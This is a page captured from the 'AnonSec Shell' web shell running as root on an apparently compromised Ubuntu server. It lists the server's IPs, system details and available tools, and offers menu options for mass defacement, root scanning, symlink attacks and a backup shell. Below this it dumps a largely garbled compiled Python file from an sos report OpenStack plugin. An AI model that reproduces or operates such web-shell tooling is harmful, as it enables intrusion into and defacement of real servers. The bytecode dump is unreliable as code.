AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_octavia.cpython-310.pyc
o

���b�@sZddlZddlmZmZmZmZGdd�de�ZGdd�deee�ZGdd�dee�ZdS)	�N)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s<eZdZdZdZdZdZedZgd�Zdd�Z	d	d
�Z
dS)�OpenStackOctaviazOpenstack Octavia�openstack_octavia)�	openstack�openstack_controllerz/var/lib/config-dataz/puppet-generated/octavia)�amphora�availabilityzone�availabilityzoneprofile�flavor�
flavorprofile�
healthmonitor�l7policy�listener�pool�provider�quotacCs�|�dddd|jd|jd|jd|jdg�|�d	�|�|jd	�|�|jd	�|�d
�r:|�dg�n|�dg�d
d�dD�}dd�dD�}t|�rVt|�sh|�d�sh|�d�sh|j�	d�dS|j
ddd�|jD]4}|j
d||d�d|}|�|�}|ddkr�|d�
�D]}|��d}|j
d||f|d�q�qrd}|�|�}|ddkr�|d�
�D]}|��d}|j
d|d d�q�dSdS)!Nz*/etc/sysconfig/network-scripts/ifcfg-o-hm0z"/etc/logrotate.d/openstack-octavia�/etc/octavia/*z/var/lib/octaviaz/octavia/etc/octaviaz/etc/octaviaz/etc/rsyslog.dz/etc/my.cnf.d/tripleo.cnfz/etc/octavia/certs�all_logsz/var/log/octavia/*z/var/log/octavia/*.logcS�g|]}|tjv�qS���os�environ��.0�prr�F/usr/lib/python3/dist-packages/sos/report/plugins/openstack_octavia.py�
<listcomp>A�z*OpenStackOctavia.setup.<locals>.<listcomp>)�OS_USERNAME�OS_PASSWORDcSrrrrrrrr Dr!)�OS_TENANT_NAME�OS_PROJECT_NAMEzpython2-octaviaclientzpython3-octaviaclientz�Not all environment variables set or octavia client package not installed.Source the environment file for the user intended to connect to the OpenStack environment and install octavia client package.zopenstack loadbalancer list�loadbalancer)�subdirzopenstack loadbalancer %s listz-openstack loadbalancer %s list -f value -c id�statusr�outputz!openstack loadbalancer %s show %sz5openstack loadbalancer provider list -f value -c namez2openstack loadbalancer provider capability list %s�provider_capability)�
add_copy_spec�var_config_data�var_puppet_gen�add_forbidden_path�
get_option�all�any�is_installed�soslog�warning�add_cmd_output�	resources�exec_cmd�
splitlines�split)�self�vars_all�vars_any�res�cmd�ret�entrrrr�setup$st�

�����

�

��
���zOpenStackOctavia.setupcCs<gd�}dd�|�}|�d|d�|�|jd|d�dS)N)�ca_private_key_passphrase�
heartbeat_key�password�
connection�
transport_url�server_certs_key_passphrase�memcache_secret_keyz((?m)^\s*(%s)\s*=\s*)(.*)�|rz\1*********)�join�do_path_regex_subr-)r:�protect_keys�regexprrr�postprocns�zOpenStackOctavia.postprocN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr,r-r6rArNrrrrrsJrcs eZdZdZ�fdd�Z�ZS)�
DebianOctavia)zoctavia-commonzoctavia-apics8tt|���|�d�r|�dg�dS|�dg�dS)Nrz/var/log/apache2/octavia*z/var/log/apache2/octavia*.log)�superrUrAr/r+)r:��	__class__rrrA�s

�
�zDebianOctavia.setup)rOrPrQ�packagesrA�
__classcell__rrrWrrU}srUc@seZdZdZdS)�
RedHatOctavia)zopenstack-selinuxN)rOrPrQrYrrrrr[�sr[)	r�sos.report.pluginsrrrrrrUr[rrrr�<module>s
q

Anon7 - 2022
AnonSec Team